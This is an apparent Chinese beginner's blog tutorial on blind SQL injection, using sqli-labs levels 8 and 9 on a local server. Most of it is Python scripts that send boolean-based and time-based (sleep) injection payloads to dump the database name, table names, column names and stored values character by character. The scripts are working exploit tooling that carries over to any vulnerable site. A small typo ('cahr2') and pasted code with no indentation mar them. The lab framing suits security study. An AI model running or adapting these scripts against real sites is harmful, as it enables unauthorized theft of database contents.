盲注
**前言:**之前就想写一篇与盲注有关的博客,但由于一直不会写脚本,就拖下来了,现在把博客补上,因为手工注入比较麻烦,所以这篇主要写脚本注入。
bool盲注
以sqli-labs第8关为例
第8关是bool盲注,首先判断注入点(无论什么注入,第一步都是判断注入点,就算写脚本第一步也要判断注入点),经过一番尝试,判断出闭合符号是单引号。
在写脚本之前,我们先了解下脚本的思路:
bool盲注的特点就是页面永远只有两种状态,一种是payload执行正确时的页面,例如上面的这种情况,另一种就是payload执行错误时的页面,如下图
这两种页面中HTML的状态码肯定是不一样的,因此HTML状态码长度也不一样,我们先记录一个payload执行正确时返回的HTML状态码的长度,然后再多次构造payload向服务器发送请求,当服务器返回的HTML的状态码的长度与我们原先记录的长度一致时,则说明这个payload语句正确。
首先我们需要记录一个正确payload执行后返回的HTML状态码的长度
#导入requests模块
import requests
#第八关的url
url="http://127.0.0.1/sqli-labs/Less-8/?id=1"
#requests.get()用于请求目标网站,返回值为服务器响应的网页源码
#requests.get(url).text 把返回的网页源码转换成文本形式
response_len=len(requests.get(url).text)
然后根据语句:?id=1' and length(database())=i
来写判断数据库的长度的函数:
#判断数据库的长度
def dbname_len():
db_len = 0
max=20
#构造ayload
url_t=url+"' and length(database())={0} --+"
for i in range(1,max):
url2=url_t.format(i)
#str.format(i) 把str中{}里的值替换成i
response = requests.get(url2)
if len(response.text)==response_len:
db_len = i
print("数据库长度为:",db_len)
break
if db_len==0:
if i==max-1:
print("max的值太小")
print("长度函数执行失败")
exit()
return db_len
#调用该函数
dbname_len()
执行完该函数,得出数据库长度为8
接着爆数据库名:
chars = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_!@#$%^&*(),./\[]+-=:;"''"<>?|~'
#爆数据库名
#dbname_len为数据库的长度
def dbname(dbname_len):
name=''
print("数据库名字为:",end="")
tempname=name
url_t=url+"' and ascii(substr(database(),{0},1))={1}--+"
for i in range(1,dbname_len+1):
for char in chars:
char_ascii=ord(char)
url2=url_t.format(i,char_ascii)
response = requests.get(url2)
if len(response.text) == response_len:
name+=char
print(char,end="")
break
if tempname==name:
print("爆数据库函数执行失败")
exit()
return name
#调用函数
dbname(数据库的长度)
然后得到数据库’security’
接下来,保险一点的步骤是先判断表的数量,然后判断每个表的长度,最后再爆表名,但这样太麻烦了,要连续写三个函数,为了方便,咱直接爆表名:
#爆表名
#tn_len为表的长度,整型(int),num为limit后的第一个参数
def t_name(tn_len,num):
tname=''
print("第",num+1,"个表名为:",end="")
url_t=url+"' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1))={2} --+"
for i in range(1,tn_len+1):
char2=''
for char in chars:
char_ascii = ord(char)
url2 = url_t.format(num,i,char_ascii)
response=requests.get(url2)
if len(response.text) == response_len:
tname+=char
char2=char
print(char,end="")
break
if cahr2=='':
break
if tname=='':
print("该表名不存在函数执行错误")
print()
return tname
#调用函数
t_name(表的长度,num)
这里表的长度未知,我们尽量把数值填大一点,函数结束的标志是当表名的下一个字符为空时就结束,所以就算你填的再大只要表名的下一个字符为空就会结束该函数。
这里调用时可以用一个循环,可以把所有的表都爆出来
然后就该爆字段了,还是用上面的方法
#爆字段值
#tname为表名,num为limit后的第一个参数,clen为字段长
def c_name(tname,num,clen):
c_name=''
print("表",tname,"的第",num+1,"个字段名为:",end="")
url_t=url+"' and ascii(substr((select column_name from information_schema.columns where table_name='{0}' limit {1},1),{2},1))={3}--+"
for i in range(1,clen+1):
char2=''
for char in chars:
char_ascii=ord(char)
url2=url_t.format(tname,num,i,char_ascii)
response=requests.get(url2)
if len(response.text) == response_len:
c_name+=char
char2=char
print(char,end="")
break
if char2=='':
break
if c_name=='':
print("该字段不存在或函数执行错误")
print()
return c_name
#调用函数
c_name(表名,num,字段长)
表名可以根据上一个函数爆出来,num为limit后的第一个参数,通过修改它可以逐个把字段爆出来,字段长随便写个数值,别写太小
最后就是爆元素值了,也是用这种方法
#爆元素值
#c_name为字段名,tname为表名,num为limit后的第一个参数,vlen为元素值的长度
def values(c_name,tname,num,vlen):
value=''
print("字段",c_name,"第",num+1,"个值为:",end="")
url_t=url+"' and ascii(substr((select {0} from {1} limit {2},1),{3},1))={4}--+"
for i in range(1,vlen+1):
char2=''
for char in chars:
char_ascii=ord(char)
url2=url_t.format(c_name,tname,num,i,char_ascii)
response=requests.get(url2)
if len(response.text) == response_len:
value+=char
char2=char
print(char,end="")
break
if char2=='':
break
if value=='':
print("该元素值不存在或函数执行错误")
print()
return value
时间盲注
以sqli-labs第9关为例
时间盲注最大的特点就是:无论payload是否执行正确,显示的界面的状态只有一个,所以我们只能用sleep函数,根据页面界面状态返回的时间来判断。
其实时间盲注的脚本与bool盲注脚本很相似,除了判断payload是否执行正确的判断条件不同以外,其他的代码基本和bool盲注的代码是一样的。
这个脚本的思路就是如果payload执行正确,就让服务器晚回应5秒,最后比较开始请求服务器时到服务器回应我们的时差。
先导入模块并且写好相关的变量:
#导入requests和time模块
import requests
import time
chars = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_!@#$%^&*()'
url="http://127.0.0.1/sqli-labs/Less-9/?id=1'"
爆数据库名
#爆数据库名
#dbname_len为数据库的长
def dbname(dbname_len):
name=''
tempname=name
print("数据库名字为:",end="")
url_t=url+" and if((ascii(substr(database(),{0},1))={1}),sleep(5),null)--+"
for i in range(1,dbname_len+1):
char2=''
for char in chars:
char_ascii=ord(char)
url2=url_t.format(i,char_ascii)
start_time=time.time()
response = requests.get(url2)
if time.time()-start_time>4:
name+=char
char2=char
print(char,end="")
break
if char2=='':
break
if tempname==name:
print("爆数据库函数执行失败")
exit()
return name
跟上面的bool盲注的原理差不多,这里就不多赘述了
爆表名
#爆表名
#tn_len为表的长度,整型(int),num为limit后面的第一个参数
def t_name(tn_len,num):
tname=''
print("第",num+1,"个表名为:",end="")
url_t=url+"and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1))={2}),sleep(5),null) --+"
for i in range(1,tn_len+1):
char2=''
for char in chars:
char_ascii = ord(char)
url2 = url_t.format(num,i,char_ascii)
start_time=time.time()
response=requests.get(url2)
if time.time()-start_time>4:
tname+=char
char2=char
print(char,end="")
break
if char2=='':
break
if tname=='':
print("爆表名函数执行错误")
exit()
return tname
爆字段
#爆字段值
#tname为表名,num为limit后的第一个参数,clen为字段长
def c_name(tname,num,clen):
c_name=''
print("表",tname,"的第",num+1,"个字段名为:",end="")
url_t=url+" and if((ascii(substr((select column_name from information_schema.columns where table_name='{0}' limit {1},1),{2},1))={3}),sleep(5),null)--+"
for i in range(1,clen+1):
char2=''
for char in chars:
char_ascii=ord(char)
url2=url_t.format(tname,num,i,char_ascii)
start_time=time.time()
response=requests.get(url2)
if time.time()-start_time>4:
c_name+=char
char2=char
print(char,end="")
break
if char2=='':
break
if c_name=='':
print("爆字段名函数执行错误")
exit()
return c_name
爆元素值
#爆元素值
#c_name为字段名,tname为表名,num为limit后的第一个参数,vlen为元素值的长度
def values(c_name,tname,num,vlen):
value=''
print("字段",c_name,"第",num+1,"个值为:",end="")
url_t=url+" and if((ascii(substr((select {0} from {1} limit {2},1),{3},1))={4}),sleep(5),null)--+"
for i in range(1,vlen+1):
char2=''
for char in chars:
char_ascii=ord(char)
url2=url_t.format(c_name,tname,num,i,char_ascii)
start_time=time.time()
response=requests.get(url2)
if time.time()-start_time>4:
value+=char
char2=char
print(char,end="")
break
if char2=='':
break
if value=='':
print("爆元素值函数执行错误")
exit()
return value
**总结:**初学python,只注重功能,没考虑代码的空间复杂度和时间复杂度,以小白现在的水平也只能写出这样的脚本了,同时也让小白意识到,自己该努力了。